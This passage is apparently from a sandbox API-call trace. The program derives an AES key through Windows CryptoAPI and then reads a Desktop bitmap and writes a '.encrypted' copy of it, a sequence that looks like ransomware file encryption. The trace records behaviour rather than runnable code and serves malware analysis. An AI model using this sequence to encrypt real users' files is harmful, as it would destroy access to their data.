lpMultiByteStr=0xe8f41784c0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0022.374] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0022.374] CloseHandle (hObject=0x188) returned 1 [0022.375] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0022.375] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.375] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.375] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0022.375] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.375] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0022.375] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0022.375] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.375] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.375] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.375] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.375] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.375] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.375] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.375] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.375] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.375] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.375] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0022.375] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.375] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0022.376] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.376] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.376] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0022.376] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.376] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.376] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0022.376] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.376] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0022.376] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0022.376] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.376] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.376] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.376] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.376] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.376] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.376] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0022.376] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.376] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.376] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.376] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.376] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.376] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.376] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.376] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.377] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.377] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.377] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.377] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.377] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.377] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.377] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.377] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0022.377] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.377] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.377] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.377] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.377] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.377] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0022.377] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.377] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633c0) returned 1 [0022.377] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.377] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.377] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0022.377] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.377] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.377] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.377] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.377] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.378] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.378] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.378] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.378] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.378] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.378] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.378] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.378] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0022.378] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.378] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.378] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.378] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.378] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.378] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.378] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.378] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.378] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.378] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.378] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.378] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.378] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.378] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.378] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.378] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.378] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.378] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.378] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.378] CryptCreateHash (in: hProv=0xe8f40633c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0022.378] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.378] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.378] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.378] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.379] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0022.379] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.379] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.379] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.379] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.379] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.379] CryptHashData (hHash=0xe8f4062640, pbData=0xe8f418bb10, dwDataLen=0x20, dwFlags=0x1) returned 1 [0022.379] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.379] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.379] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.379] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.379] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.379] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.379] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.379] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.380] CryptDeriveKey (in: hProv=0xe8f40633c0, Algid=0x660e, hBaseData=0xe8f4062640, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0022.380] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.380] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.380] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.380] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.380] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.380] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.380] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0022.380] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.380] CryptDestroyHash (hHash=0xe8f4062640) returned 1 [0022.380] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.381] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.381] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.381] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.381] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.381] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\DjG5LKzHA.bmp" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\djg5lkzha.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0022.382] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.382] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0022.382] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.382] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.382] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.382] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 0x11 [0022.382] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\DjG5LKzHA.encrypted.bmp" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\djg5lkzha.encrypted.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0022.383] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.383] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.383] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.383] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.384] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0022.384] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0022.385] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x7a11, lpOverlapped=0x0) returned 1 [0022.386] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0022.389] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 